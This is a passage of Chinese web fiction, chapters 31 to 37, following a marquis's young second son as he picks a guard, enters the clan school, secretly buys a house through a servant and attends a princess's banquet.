如今的二姑娘射箭仅次于封砚初,也渐渐的可以射中靶心了,只是力弱射不远罢了。
秋日阳光正好,俩人有些热,只是不舍得停下来,直到三姑娘的肚子发出‘咕咕咕’的叫声。
她仰着稚嫩的小脸,迎着阳光,好似整个小人儿都在发光,“二姐姐,我有些饿了。”
二姑娘看她可爱的样子,忍不住摸了摸小脸,对旁边的大丫鬟珊瑚道:“珊瑚,你去厨房拿些点心,再拿些饮子。”珊瑚放下手中的弓箭,朝厨房的方向而去。
珊瑚本来是没资格学射箭的,但是二姑娘封砚婉觉得,身为自己的贴身丫鬟必须会,否则将来她出去打猎,岂不是拖后腿。不过珊瑚还是以照顾人为主,只有二姑娘私下练习时跟着学一些。
其实封家以前是有专门的武师傅,只是近两代有些废迟罢了,如今也就是老侯爷身边的夏津与世子爷身边的方恩会功夫。
按照封简宁的心里,他本来只想给长子和次子身边配上护卫,可老侯爷却说五指虽有长短,但也不可偏心的太明显。
所以封简宁才从庄子上选了五个孩子入府,交给封简言以前的护卫云樟训练。
是的,老侯爷之前也给次子安排了护卫,奈何次子太废物,云樟变成了侯府的候补护卫,有紧急之事才会用他。
傍晚的时候,这五个男孩子已经进了侯府,并且洗干净换上衣服站成一排。
封砚初正准备练一会武,就听见门外传来碧芳的声音,“郎君,世子爷叫您去一趟外院的秋水阁。”
他虽然心里奇怪,但也只能暂停练武,前往秋水阁。
到了地方后,发现父亲封简宁,长兄封砚开,以及三弟,四弟,堂兄几人都已经到了。
院子中间站着五个小孩子,旁边还站着一个年岁约莫三十出头的男人。
封简宁见次子已到,指着院中的小男孩,直接朝其余几人吩咐:“你们前去选一选。”
其余人不敢问,封砚初却不怕,将心中的疑惑问出来,“父亲,是选小厮吗?可我并不缺小厮伺候。”其实他心里觉得这些事一般都有大娘子操心。
封简宁瞥了一眼次子,解释着,“咱们祖上是武将出身,身边都会配有护卫,如今虽说都已从文,但身边该有的还是要有,此次就是给你们选护卫。”
“哦~原来如此。”封砚初若有所思的点头,看向几个男孩,他本人练武,所以对根骨要求反而没那么严格,更重要的是忠心,不过这几人既然被选进侯府,那就证明根骨不会太差。
虽说都可以选,但封简宁还是有私心的,他看了看几个孩子,说道:“大郎,二郎,你们俩先选。”
“是,父亲。”封砚开余光扫了一眼二弟,直接应下。
毕竟长幼有序,封砚初对封砚开说道:“大哥居长,自然先选。”
封砚开并未推辞,径直向前打量起几人,然后指着第二个,转头说道:“父亲,儿子就选他了。”
封砚初扫视着剩余四人,指向最后一个个子年岁明显小一些的,“父亲,就他了。”众人都选完之后,依旧十分兴奋,除了封砚初。
而封简宁正在训话,“你们以后都跟着云樟云护卫习武,以后你们的职责就是护卫侯府郎君们的安全,即使拼出性命也不能让郎君们受伤!听明白了吗?”
“明白!”
“好!云樟,以后他们五人就交给你训练,郎君们的安全也交到你手里了!”封简宁盯着云樟的眼睛,郑重万分。
云樟拱手行礼,给出承诺,“请世子放心,小的必定全力以赴!”
封砚初也是从今日起,才知道原来武安侯府也有随行护卫。等其他人离开,他趁机试探,“父亲,既然咱们府上有护卫,那我可以跟着学两招吗?”
话音刚落,就被骂了一顿,“少生那些幺蛾子,你还是好好读书,来日走科举仕途!”
封砚初有心将来能够正大光明的练武,不甘心道:“科举也得有个好身体不是,我也不是要学武,只是强身健体罢了。”
封简宁眼睛微眯,看向儿子的神色满是警惕,语气里充满警告,“快快收了这不切实际的想法,鉴于近几月你比较乖,我这次就不打你了,记住,没有下次!”
封砚初很有眼色的收声敛气,乖乖点头,看向父亲的眼神里充满真诚,“儿子记住了,不会再生此念。”
“嗯,最好如此。”说完封简宁甩袖离开。
而剩余几人满心敬佩,提出这种离谱的要求竟然没挨打!真是羡慕又嫉妒!
第三十二章 这么贵
“二郎,这种要求你也敢提?”最先开口的大郎封砚开,他目光中的震惊不是作假的。
“二哥,二哥,你想学武呀?只要不念书,我做什么都可以。”三郎封砚池的关注点永远那么奇怪。
四郎封砚安并未说话,可他那亮晶晶的小眼神透露出钦佩,还带着些许羡慕。他佩服二哥敢对父亲张口提要求,同时又羡慕父亲对二哥的偏宠。
“有什么用?父亲这不是没同意吗?以后还不许我提。”封砚初失落极了,同时也有了别的打算,他打算在府外买一院屋舍。
可京城的房子不便宜,如今钱匣内虽然也攒了一些,但估计不够,更别提里头的修缮,家具等物件需要添置都要钱,所以还得接着攒。
等够了之后,在好些的位置,买一处稍大点的,将来自己出府也有个去处。
三郎搂着二哥的肩膀,叹气安慰道:“我如今的心愿就是快快长大,这样能多得些自由,我姨娘也不会总盯着我。”
虽然俩人的目的不同,可三郎的这番话竟然说出了他的心声,他身边就总是有人看着,半点不得自由,导致做什么都是偷偷摸摸的。
封砚开觉得三郎这是异想天开,一句话将人打回了现实,“长大?你还是先将自己的银钱从张姨娘那里收回来吧。”
三郎一听这话,顿时觉得希望渺茫,因为他读书的事,姨娘见天的盯着,更别提要回月钱,垂头丧气的叹了一声,“唉!”随后转身离去,半点不见之前的兴致勃勃。
回去后,张姨娘见儿子不高兴,以为是被世子爷叫去骂了一顿,“怎么?挨骂了?”
三郎坐在榻上,撑着下巴,蔫蔫的摇了摇头,“没有,父亲叫我们去是为了选护卫。”
张姨娘眉毛微挑,带着不可思议,“这种与学习无关的事,你不是最感兴趣了,怎么不高兴。”
三郎听到此处,嘴巴撅的能挂油瓶,先是斜眼看了一眼张姨娘,然后竟哼了一声,“还不是您管着我的月钱,都被大哥笑话了。”
张姨娘见儿子竟然哼自己,用手指头戳了戳对方的额头,气地骂道:“你真是出息了,竟然还哼我,谁教你的?再说你以为我愿意管你的月钱吗?还不是你自己被底下人哄骗,否则这满府的孩子,怎的就你不用管钱?”
又见儿子一动不动,没有半点要写字的意思,便催促着,“愣着做什么?还不赶紧写字去!免得又连累我挨骂!”
封砚池挨了一通骂之后,只能继续写那没完成的课业。
话说封砚初回去后,就叫来了李妈妈,她现在也知轻重了,知道什么该说,什么不该说。
他示意碧芳将茶端给李妈妈,“这金茗茶是竹溪前儿送来的,妈妈尝尝看。”
李妈妈捧着茶杯浅饮一口,随后点头,“嗯~这茶香气浓郁,滋味甜润爽口,果然好喝。”
“我知妈妈爱茶,一会让碧芳给你包些带回去,好好尝尝。”他话音刚落,碧芳就已经去东次间去取茶叶。
李妈妈笑得牙不见眼,“奴婢跟着二郎也是沾光喝过不少好茶。”
封砚初继续试探,“妈妈喜欢就好,我记得妈妈住在武安侯府后面的街上?”
李妈妈猜不出二郎要说什么,不过还是顺着话继续往下说,“是啊,咱们侯府的下人基本上都住在那里,每日从后门进府上工也方便。”
“我的两个奶兄弟眼见没俩年也大了,到了娶妻的年纪,你家里房舍可够住?”他的言语中表现出关心。
李妈妈听了这话,果然高兴,觉得自己这些年的心血没白费,二郎竟还关心自己的两个儿子。
“他俩年岁还小呢,倒也不着急,更何况他们一个在外院,一个跟着二郎,我和他爹再攒一攒,在院子里再盖一间就够了。”李妈妈说到这里,像是想起什么,“我们这种人家的孩子娶妻是用不了太多的,七十两左右,有间房舍遮顶就行。”
“怎么不买一院地方?”
“二郎可知,外面光是一间带着三个房间的小院就得一百五十多两,这还是在城南,若是想要位置好一些,起码也得二百两,要是再想大一些,那也要三百两。”
“竟这么贵?”这个价格委实吓到封砚初了,他的钱匣内如今也只买得起位置好一些的一院三房屋舍,若是想要好一些的,怎么着也得个千八百两左右。
李妈妈连忙安慰,她觉得自己的日子过得很好,“其实郎君不用担心,奴婢全家能在侯府当差,就这日子比外头不知好过多少,很多人眼红呢。”
封砚初心里已经大概有数了,“妈妈也不用担心,将来两个奶兄弟成亲,我必会帮扶的。”
李妈妈眼含热泪,连忙致谢,“多谢二郎想着。”乳母和乳母之间的差别还是很大的,郎君可否出息,是否将乳母放在心上,毕竟乳母再特殊那也是奴婢。
恰好碧芳捧着一包茶叶进来,“李妈妈,这是郎君吩咐给你的茶叶。”
李妈妈双手接过,笑得乐呵呵的,“老奴谢二郎。”
封砚初已经得到自己想知道的信息,并未打算多留李妈妈,顺势就将人打发了,“现在时辰还不晚,妈妈就早些回去歇着吧。”
等人都离开后,他默默打开钱匣,里面躺着二百一十五两银币。以前还觉得不少,如今看起来竟有些少,这可是他这一年多,一枚一枚攒下来的,从来不敢乱花,里头除了月银,还有压岁钱和大娘子老太太她们赏的。
所幸自己年岁还小,即使真的想在外头买房,怎么着也得十岁以后了,那时候估计也就攒够了。
算了,不多想了,继续练武!
他合上钱匣,放空思绪,开始练习流云剑诀,经过快一年的练习,他的剑法虽然依旧稚嫩,但也不是之前的花架子了。
许是因为练习过烟云步的原因,他走路的脚步声都变轻了许多。有好几次,竟然吓到过那几个孩子,只是他们都以为是自己调皮故意吓人。
第三十三章 凭什么你们不用考试
逝者如斯夫,不舍昼夜,转眼三年已过,封砚初已经十岁了。
这几年他身量渐长,早已不是之前的那个小胖子了,就连钱匣也换了个新的。
家里的学堂依旧,不过读书的却换成了封家姐妹三人,其余人则是去了封家学塾。虽然三郎依旧还是一副不爱读书的样子,可毕竟是侯府的郎君,还是被安排进了甲等班。
封家学塾内,凡封氏族人皆可入内学习。优异者,通过考核后亦可入甲等班。
学塾的甲等班,又分成三阶,第一阶自然是才入学的,比如封砚初他们;第二阶则是有些进益,为考童生秀才做准备;第三阶则是那些已经考中功名的,这些人除非有事,否则不轻易来学塾。
先敬罗衣后敬人,自古如此。
因为甲等班与普通学塾只有一墙之隔,而且要去甲等班还要经过普通学塾区域。所以封砚初兄弟几人在进入学塾的第一日,就受到众人的注目礼。
这些人第一眼见几人衣着不凡,就起了敬重之心,后来得知几人都是侯府的郎君,无论心里如何想,但面上更是多了几分巴结。
封砚初进门后也看见了在一旁低声议论的一群人,这些人有的身着锦缎,有的身着布衣倒也体面,而有的衣服上甚至还有补丁。远远便瞧见有人想上前,但被拉住了。
刚进了甲等班所在的院子,院门就被关上了。关门的,明显也是封氏族人,这人刚锁上门,便立即上前解释,“学塾里的先生为了使甲等班的学子能够专心读书,便下令未下学不得开门。”
封砚初并未开口回应,大郎封砚开十分矜持,面上有些冷淡,这是他总结出来侯府未来接班人对外的样子:“知道了。”
与家里不同。在此处,下人是不允许进入学堂的,所以,封砚初几人刚到了门口,就从小厮手里接过书箱,亲自提进去。
比起家里,此处更多了一些朴素。除了书案别无他物,人也不多,他们进去后里面已经有了三人。
这三人十分冷淡,并未主动介绍自己,只是微微颔首算是打了招呼。封砚初原本还想问个好,见对方几人这么冷淡,也不打算热脸贴冷屁股,提着书箱自己随意找了个位置坐下。
可就在他刚坐下后,其中一人就上前几步,“那里有人了!”
封砚初正欲开口反击,大郎早就不满,冷哼一声,“又没写名字,更何况桌上空空如也,谁知道有人!”
“你!”
“话说你们都是谁啊?这么不客气!”堂兄直接回击。
“在下刘余年,户部侍郎封简阳正是在下的姑父。”一个身着青衣长衫,年约十四岁左右,言语中藏着些傲气的人说道。
“哦,原来姓刘啊,我还以为是封砚成呢,我记得他才是四叔的儿子吧?怎么正牌的儿子缩着不出来,竟让你当做出头鸟?”封砚初一边从书箱里拿出要用的笔,墨,纸,砚等物,一边讥讽着。(此处,叫封简阳为四叔是按照族中排名)
“封二郎,谁缩着不出来!”门口一个提着书箱的少年,怒气冲冲的走进来。
“哟,你终于舍得出来了?”其实封砚初与封砚成,就在祭祖和年节拜访时见过几次而已。
俩人之间并没有什么矛盾,只是封砚成有些不忿,觉得不公平,而其余三人碍于其父的官职不敢违拗其意。
“哼!凭什么我们进甲等班都是辛辛苦苦的考试,而你们连考试都不用,就这么直接来上课!”
“就凭我祖父是武安侯,父亲是武安侯世子,此处一应开销我侯府承担了大头,这些理由够不够?”封砚开这才醒悟过来,感情是觉得不公平,祖父虽然官职没有封简阳的官职高,但身上是有爵位的。
“哼!”封砚成依旧觉得不甘心,哪怕这些人走个流程,他都不会这般不甘心,其余俩人见他态度软了一些,赶紧上前见礼。
“侄儿是五房的封时乐,给几位叔叔见礼。”
“我是六房的封砚川。”
毕竟还要在此处待上好几年,封砚开并未为难,与几个弟弟一起回了礼。
到底是甲等班,和杨先生比起来,教课的郭先生多了一些宽容,他对学生的态度是看你愿不愿意学,只要愿意学,还是可以学到不少的东西的。
看起来对任何人都是一视同仁,可明显感觉到,他对三郎封砚池和堂兄封砚明并没有多么重视。也是这俩人不争气,竟然有些乐见其成的意思。
还说什么,反正他们并不喜欢读书,也没想着科考,宽松些正合适,刚好可以干些别的。
第三十四章 咱家还不缺那几两银币
自从封砚初几人去了学塾读书后,封简宁便有心将教习射箭的冯四缱回庄子。
冯四得知自是着急,这几年他虽侍奉殷勤,但二郎君身边有不少小厮围着,他如何挤得进去。现下郎君们都去学塾,家中只留下姑娘们,世子爷要让他回庄子,心中顿时失落。
“父亲要将冯四谴回庄子?”一次考教结束,封砚初看似无意的提及。
封简宁对次子此次的回答很满意,可见学业上未曾松懈,也放松心神,一边品茶,一边说道:“是啊,你们都去学塾了,家里只有她们三个姑娘家,他留着也无用,干脆回庄子上。”
封砚初看似是为妹妹着想,“我瞧二妹妹射术几乎与我齐平,若是放弃觉得有些可惜。”
封简宁放下手里的茶杯,回头看向次子,心中有些疑惑,“倒也不是让她就此放弃,她们也算是学到了方法,以后只需多多练习便可,靶场又不拆除,不妨碍,怎么?你要用这人?”
封砚初并未遮掩,索性直接说了,“我是瞧他做事倒也认真负责,比起府里配的小厮更多些沉稳踏实,也没那么多小心思,想着以后可能用得上。”
果然封简宁并未阻拦,“一个下人罢了,你既然想用,那就让他以后听你吩咐吧,咱家还不缺那几两银币。”对于儿子向他要人,他自然不会小气,更何况近几年次子的表现他也看在眼里,并未深究。
“谢父亲,那儿子便告退了。”
“去吧。”
郑伟是李妈妈的次子,也是封砚初随行的小厮。因为李妈妈乳母的这层身份,让他隐隐在这几个小厮之中为首的意思。
就下冯四收拾行囊之际,郑伟走进来,他上下打量着屋子里的陈设,又看了看行李,“冯四,这几年你也没白待,记得你来的时候就几件破衣烂衫,如今也置办的体面。”
冯四看着收拾出来的一个大包袱,和一个装满的小箱子,“侯府大恩大德,我冯四没齿难忘,要不是二郎君提拔,我现在还在庄子上,哪有机会攒下这些东西。”
郑伟上前拍了拍冯四的肩膀,“你记得是郎君的好就行,如今府上郎君都去了学塾念书,射箭的功夫学的也差不多了,只需勤加练习即可,此处自然也就用不上你了,世子爷的意思是让你依旧回庄子上去。”
冯四心中若说没有失望那是作假,当时兴冲冲的来,如今回去心里自然不好受,只是他也确实体会到了侯府里,即使是下人小厮之间,竞争异常激烈,他一个外来的根本挤不进去。
“我知道,白管家已经和我说了,明日正好有马车要去庄子上,让我搭车一起回去。”
郑伟围着冯四转了一圈,同时也仔细观察着,他实在没看出此人有何特别,只是郎君吩咐的事情还是要说的,“算你走运,明日不用回庄子上,世子爷本意不想留你,是二郎君见你这几年也算勤谨,出言挽留,世子爷已经同意了,今后你就留在郎君身边听用,你可明白!”
惊喜从天而降,冯四一下子有些欢喜的差点晕过去,笑的牙不见眼,“明白!今后我只听二郎君的话,二郎君说什么,我就做什么!”
郑伟提醒,“还二郎君呢?要叫什么?”
“哦,应该叫郎君!”冯四立即改口。
“你也不算白收拾一趟,如今你不是教射箭的武师傅了,自然也不能住在这里,已经给你重新安排了住处,你跟我走吧。”郑伟一边朝外走,一边说道:“郎君对咱们这些下人真是没的说,只要你好好办差,就亏待不了你。”
冯四跟着郑伟从侯府后门出去,一路朝后街走去,只知来到一处院子,院内共有六间屋舍,其中四间已经住了人。
郑伟指着西侧的一间空屋道:“以后你就住在这儿,这两间以前住的是两户人家,只是前几日被大娘子派回青州去了,正好空出来,留一间给你。”
他又提醒着,“本来你也就是和其他人挤在一起,还是二郎君念及你到了娶亲的年纪,这才让你单独住一间,否则怎么可能轮的上你?”
进入屋内,里面靠窗是个土炕,边上连着一口锅灶,屋子中间摆着一张有些破旧的桌子,和两条长凳,再无一物。
郑伟进门一瞧,这家人搬的还真干净,不收拾一番,还真住不得人,“这两日不着急进府,你先拾掇拾掇。”
冯四看着里面虽然空荡荡的,但对他来说已经很满意了,“劳烦小郑兄弟了,还请你转告郎君,我收拾完就去谢恩。”
“好,你收拾着。”郑伟话音未落,就听见门外有人叫他,原来是李妈妈,“娘,你不在里头伺候着,怎么到这来了?”
只见李妈妈抱着一床被褥往里走,冲着儿子喊道:“还不快来接着。”
郑伟快步走前,连忙接过被褥,不解道:“娘,你这是?”
李妈妈只觉胳膊一轻,松快不少,连忙理了理衣服。进屋一瞧果然啥都没有,对着一旁的冯四笑道:“我就猜你这里什么都没有,给你抱来一床被褥,省的晚上没得盖。”
郑伟看着怀里的被褥有些心疼,“你将咱家的被褥抱来了?”
李妈妈瞥了一眼儿子,只觉得这话问的小气极了,开口解释,“是二郎让我将他不用的被褥抱来一床。”
封砚初虽然只是随口吩咐,也并不缺这些被褥,可李妈妈还是选了一床最差的带来,即使如此,就这被面都是棉布的。
冯四诚惶诚恐,同时觉得这也是郎君对他的考验,“这,这如何使得,郎君对我已是厚恩,这么好的被子,我怎么配得上。”
“废什么话,拿着吧!总不可能让我再抱回去!”李妈妈瞧这里空荡荡的,又吩咐儿子,“你带着冯四去置办置办,将屋子收拾出来。”
“知道了,娘。”郑伟答应的有些不情不愿。
他毕竟从小住在这里,对周围的街巷很熟悉,不过半日的时间,就买了好些日常用品,价格还不贵,一路上给冯四讲了不少。
如此冯四才算真正融入侯府这些下人之中。
第三十五章 银钱还是有些紧张
冯四安置好之后,就来向封砚初谢恩。
“若非郎君,就没有小的今日。”
封砚初并未回复,而是说起了其他,“这几日你先不着急上来,我有别的事要你去办,只是不知你的嘴严不严?”
冯四神情严肃,赶紧保证,“还请郎君吩咐,但凡与您相关的事,绝无第二人知道。”
对于冯四是否能保密,封砚初并不担心,多的是想要为他做事的人,只是看中此人孤身一人无所依靠罢了,“我这人最看重的便是忠心,若你做不到,我也不做处罚,你依旧从哪来回哪去。”
冯四立即弯腰拱手,“还请郎君放心,小人的嘴必定严守秘密。”
封砚初轻轻点头,算是认可,“你在京城里各房牙的牙行里,打听打听如今京中房价几何?需得选一处位置安静,周围无论是治安还是邻里关系和谐的才好,差不多有个十来间房舍的院子。打听后,先将图纸拿来,我瞧过之后再说。”
“是!”
以封砚初如今的年岁,并不适合自己出去买房子,看房子也没个时间。李妈妈他们与侯府牵扯过深,想要瞒人耳目,像冯四这种从庄子上来的,孤身无亲者最合适。
也不用担心冯四卷钱跑路。这里是古代,先不说侯府有他的卖身契,就单单出门,那也是要路引的,没有这个连京城地界都出不去。万一真的跑路,侯府可以以逮捕逃奴的名义让官府抓人,到时候真抓着人那就是一个死!
而封砚初不过是损失一些银两,被家人斥责一通,仅此而已。没准连骂都不会挨,大家觉得下人奸诈,还会同情他被骗呢。
冯四倒也真的负责,不过四五日时间就已经全都打听清楚了,他带着六张图纸进了府。自古东富西贵,南贫北贱,封砚初是侯府郎君,自然不可能买城南和城北的院子,所以能选择的地方也有限。
“这第一张位于城西的贞和巷,共有七间房舍,院子也不大,因周围住的都是朝廷官员,要价七百两。”
“第二张是城东的临平巷,共有十一间房舍,院子也大一些,周围距离街市较近,要价九百两。”
“第三张是永兴巷,位置稍稍有些偏南,周围读书人偏多一些,共有十间房舍,只是院子也较前一个小一些,要价八百五十两。”
……
“这最后一张,小的有些犹豫要不要拿给郎君。这一处是位于城东的广林巷,前些年此地的庆国公府着火,被烧成一片白地。这几年虽说迁入百姓重建,但大家心里总觉得不吉利。”
冯四犹豫再三还是将最后一张图纸拿出来,“不过此地一则幽静,二则无论是大小,院子都合适,价格也只需六百三十两银币。”
封砚初怎会介意这些,这件事他知道一点,庆国公当年牵扯到夺嫡之争,当年有皇子谋逆将庆国公府一把火烧了,自此庆国公府众人四散。朝廷为了压下流言,便将此地拆分,让百姓迁入重新建房。
只是因为那场大火中死了不少人,后来虽说流言渐渐平息。可大家心里忌讳,此地的入住率比起别的地方明显少了很多,而且房价也比较低。
他接过图纸细看,无论是房屋布局,还是院子大小确实很合适。而且出了院子,往西一里还有一片梅林,旁边还有一个土地庙,据说冬季里风景甚美。
他看后十分满意,最终确定就买广林巷的宅子,“就这个,买下后先着人打扫一遍,至于里头的家具摆设,由我亲自定。”
“是,郎君。”
冯四带着六百八十两银币离开了,这里头除去买房的钱,还有牙房的抽成,缴纳契税,雇佣打扫宅子等等的费用。
此次的花费低于封砚初的预期,原本他备了一千两,现下剩下的钱可以打一些好家具,好好布置修葺一番。不仅要有书房,药房,卧室,还得留出习武的空地等等,而且景致也不能太差。
他心中算了算剩余的银钱,还是有些紧张。别的倒也罢了,因为研习医书,他不想纸上谈兵,自然要买些药材等物学习,比起旁的,这些东西所费不少。
唉,慢慢来吧!
随后拿起几年前从父亲那里薅来的扇子,因为经常用它习武的缘故,已经有些快要散架的趋势,这武器还要打造,又是一笔。
不过他才十岁,除了读书以外,轻易出不去,所以先慢慢来!
其实牙房的牙人,在冯四最初进门并未重视,直到这人一连说了几个要求之后,这才殷勤起来。
从这种人的打扮上来看,肯定不是给自己买,而是给背后的主人买,只是这主人不方便或者没时间才托付给下人。往往这种人也会起到不小的作用,即使无法决断主人想购买哪一个,却可以让主人拒绝。
后来也和牙人预料的一样,冯四一连挑选了好几份图纸带走了,得到了印证。
虽然背后的主人并未选择最贵的,但起码成交了一套。问过左邻右舍后,签了白契,缴纳了契税,官府盖印颁发红契,办理过户,这一系列弄下来,也得好几天。
这房子并未挂在封砚初名下,而是在冯四名下,因为他并不想让府中其他人察觉自己购房的事实。不过这件事办妥后,终究了了他心中的一桩事。
第三十六章 没有一句废话
正逢休沐,封砚初早已经计划好,溜出侯府去广林巷看看新置的宅子。没想到,才用了早饭,大娘子就派半夏来通知,一会儿要带他出门。
“半夏姐姐,可知是去哪里?”
半夏面上带笑,解释给封砚初听,“今日平昭公主府设宴,大娘子要带着大姑娘,大郎君和您一起去呢。”
封砚初心中长叹,疑惑道:“平昭公主府?我记得咱家与她家素无交情。”
半夏已经从大娘子那里猜出几分,只是这怎好与二郎君说,只能摇头回复,“这……奴婢也不知为何。”
“我收拾收拾,一会就过去。”封砚初见问不出原由,只能应了。
半夏刚出去,李妈妈就已经找出一件青碧暗竹纹锦缎长袍,“这是前两天新做的,这次去平昭公主府穿着正合适。”
封砚初颇有些无语,皮笑肉不笑道:“妈妈速度倒是快。”
李妈妈自然瞧出二郎不愿意,一边为他换衣,一边艳羡似的说道:“老奴倒是想去见识见识公主府的富贵,可惜还没这福分呢?再说这三郎和四郎想去还去不成呢。”碧芳则是笑吟吟地重新梳头发。
他看着铜镜中扎着两个丸子头的总角孩童,只觉得发型难堪又幼稚,不过好在铜镜中的人不再是三年前那副胖嘟嘟的模样,少了几分可爱,多了一些俊秀。
碧芳梳完后,还止不住满意地点点头,“郎君如今越长越俊,将来必定是个俊美之人。”
李妈妈也跟着赞叹,十分认同的模样,“王姨娘就长得美,二郎随了她,自然也长的好看。”
封砚初饶是脸皮厚,也经不住这样,他抬头望向二人,“妈妈与碧芳这般说,可是想让我找个地缝钻进去不成?”
“不同二郎说笑了,你这次出门在外,大娘子难免有照应不到的地方,你可不能淘气,要乖乖听话,我给你做你爱吃的牛乳菱粉香糕。”李妈妈还是有些不放心,那可是平昭公主府,去的必定有很多皇家贵胄,万一二郎不谨慎得罪人,那可是大祸。
“妈妈别担心,我知道轻重。”封砚初自然明白公主府不比自家,需得处处小心,要不是大娘子要带他一起,这种地方他实在不想去。
到了大娘子处,封砚敏已经收拾好了,大娘子正嘱咐着什么。只见她两眼放光,她还从未去过公主府呢,所以心里有些期盼。
“母亲安好。”封砚初行礼问安。
大娘子这才抬头看过去,上下打量一番后,满意地点头道:“李妈妈给你穿的这一身倒是妥当,一会儿去了平昭公主府,你们跟在我身后不许乱跑,更不许调皮,尤其是你,二郎。”
封砚初立即乖乖听话道:“儿子肯定听话。”
后面进来的封砚开恰好听见,立即应承保证,“母亲放心,我会照顾姐姐,看着二弟的。”
大娘子对此倒是很放心,见大家都已经妥当,“好,时辰也差不多了,咱们出发吧。”
大娘子本来要和女儿坐一辆,但是封砚敏更想和两个弟弟一起。所以,在去的路上,封砚初才知道武安侯府受邀的原因。
没等他开口,大郎就已经问了,“我记得咱家与平昭公主府素无往来,怎么今日请了咱们家?”
封砚敏没想瞒着,她将自己从外祖家听来的消息毫不保留的全说了,“我知道,是平昭公主驸马的弟弟犯了事,案件落在了大理寺手中,外祖父任大理寺少卿,在其中帮了些忙,所以此次不仅请了咱家,还有外祖家呢。”
“具体何事?”封砚初没能按捺住,继续打听。
封砚敏摇了摇头,也是一脸失落,“这话还是我偷偷听来的,本来还想去问母亲,结果被骂了一顿。”
平昭公主府果然与众不同,到底是皇家公主的居所,十分气派。
他们还未到,就远远的看见门口停了不少车马轿撵,门庭若市,公主府的谒者、录事正在门口迎来送往。
在门口下了马车,由大娘子领着几人往里走。刚到门口,公主府的舍人接过礼品,由录事登记,然后再由谒者通传,最后让人领着进去。
这是封砚初第一次亲眼见皇家的规矩,仅仅是一个公主府,就如此繁琐,那进宫岂不是更麻烦。
到底是公主府的宴会,比起普通人家多了些威仪肃穆,众人也十分拘谨,收声敛气。气氛如此,封砚初如何敢东张西望,只能亦步亦趋的跟在大娘子身后。
平昭公主府邸与亲王府并无差别,几人走了好一会,才到了待客厅。主位上坐着一位三十多岁的女人,虽面上柔和,嘴角含笑,但给人一种十分威严之感,让人不敢造次。
与封砚初前世电视剧中看到的不同,即使面对皇室贵胄,行大礼也无需跪拜。
“臣妇武安侯府唐氏携子拜见平昭公主,公主金安!”三个孩子跟在大娘子身后,一起行礼。
“免礼!”
“谢公主。”唐大娘子整个行礼的动作犹如尺子量过一般,丝毫不差。
平昭公主脸上笑容未变,只是语气中带着一些慵懒,继续寒暄着,“今日是第一次见武安侯世子夫人,听闻唐大娘子将府中治理的井井有条,就连皇后娘娘也曾夸赞过,本宫借着宴会才能投缘得见。”
“公主谬赞,这是臣妇应尽之责。”这话其实是对上位者回复的公式,大娘子虽是第一次应答,可平昭公主不知听到过多少次。
她看向大娘子身后的三个孩子,换了个话题,“这几个孩子看着倒是可爱,唐大娘子不介绍一下?”
“这是臣妇的长女。”说到几个孩子,大娘子脸上的神情略微放松了一些,语气发生了她自己都未察觉到的变化。
封砚敏仿佛是小一号的大娘子,上前见礼,“封砚敏,拜见公主。”
“他们俩个,这个是臣妇的长子,这个是臣妇的次子。”其实这种场合,一般很少有嫡妻愿意带着庶子出门见客,所以在场的夫人娘子见此情形,心中多多少少也有些惊讶。
“封砚开,拜见公主。”
“封砚初,拜见公主。”两人一起上前,齐声道。
“嗯,都是好孩子,下去玩吧!”平昭公主也只是象征性的问一问,随后就打发几人下去,“也请唐大娘子移步揽月轩。”
整个过程,几乎是按照流程走下来,平昭公主没有一句废话,看来是为了驸马不得不为。
第三十七章 为她脸上抹黑
几人跟着下人穿过回廊,走过九曲桥,远远便听见岸对面的水榭里传来一阵嘈杂,原来揽月轩邻水而建。
此地风景甚美,建筑与周围景色相呼应。如今正值夏日,除了水中含苞待放的菡萏,还隐隐约约可以瞧见迎着阳光绽放的茉莉花,石榴花,正是花团锦簇,好生热闹。
前头带路的丫鬟似乎看出大娘子的好奇心,一面引路,一面含笑介绍,“公主府内一年四季皆有景可赏,春日宴客群芳阁最佳,那时有樱花,桃花,迎春花,海棠;秋日则是在挽风楼,尤其是夜色登顶闻着桂花香赏月最好;冬日便在倚梅居,满园的红梅那才叫好看。如今正值初夏,揽月轩这里的花开的最热闹,公主素日里喜静,今日宴客,大家得见也是缘分。”
大娘子用手中的罗绣猫蝶石榴图团扇轻轻遮了遮嘴,眼睛好似弯了弯,随后柔声赞道:“今日有幸受邀,便可一饱眼福。”
前面带路的丫鬟脸上的笑意更盛了几分,虽含笑不语,但封砚初从眼睛的变化中,可以瞧出对方的得意。
终于到了揽月轩,来的人还真不少,从其中几个妇人与孩子的衣着打扮上可以看出,还有其他皇室成员。
大娘子也看到了熟人,她娘家大嫂——孙芷!
“妹妹来啦!”孙芷与这些贵妇人正说的无趣,抬眼便瞧见唐晨,立即起身迎接。
“没想到嫂嫂比我先到。”大娘子脸上的笑终于有了几分真意。
孙芷凑近几步,用扇子略微挡着,低声道:“幸好你来,我正有些无聊。”
随后用眼神示意远处的几个打扮华贵的妇人,“那边第一个是肃王王妃,第二个是平康公主,第三个是大皇子妃,边上那个身穿绛红的小女孩,是陛下最小的女儿平安公主,旁边玩耍的小男孩是六皇子。你先去见个礼,一会儿咱们说说话。”
大娘子只得带着封砚初几人一起前去见礼,这几人正说着话,倒也没为难,见完礼便让退下。
“怎么?你近日没带唐沐和唐沅吗?”大娘子请了安,用眼睛四处寻了寻,并未看见侄子侄女,便问嫂子。
孙芷指了指远处,“那呢,那个皮猴子如何待的住,早去玩了。”然后又看向封砚初几人,建议道:“孩子跟在你身边也拘束,不如让他们玩去。”
大娘子有些犹豫,“可是这里毕竟是公主府,又有贵人在,万一……”
孙芷倒是放的很开,“无妨,只要不调皮,难不成她们这些贵人还同孩子计较不成?再说还有他堂兄和我娘家侄子在呢。”
最终大娘子同意几人去玩,“敏儿,你的年纪最大,要看好弟弟,尤其是二郎。”
“知道了,母亲。”封砚敏立即点头应了,随后带着俩个弟弟前往不远处的亭子那儿。
孙芷硬生生等到孩子们都离开后,才对自家小姑子说道:“你要来带着敏儿就是,怎的还带着大郎和二郎?”
大娘子四处看了看,压低声音道:“大郎虽是庶出,可是居长,将来侯府必定是他继承,我膝下无儿,自然要带他出来。”
“那也不用带着二郎,那孩子一贯调皮,你带他出来只会更费心。”
“这是夫君的意思,再则这孩子并不比大郎差,我担心万一将来爵位出现变动,即使不会的话,将来也能与大郎一起扶持侯府。”
“罢了,到底不是你亲生的,只要你把握好分寸就行。”孙芷见小姑子坚持,也未深劝。
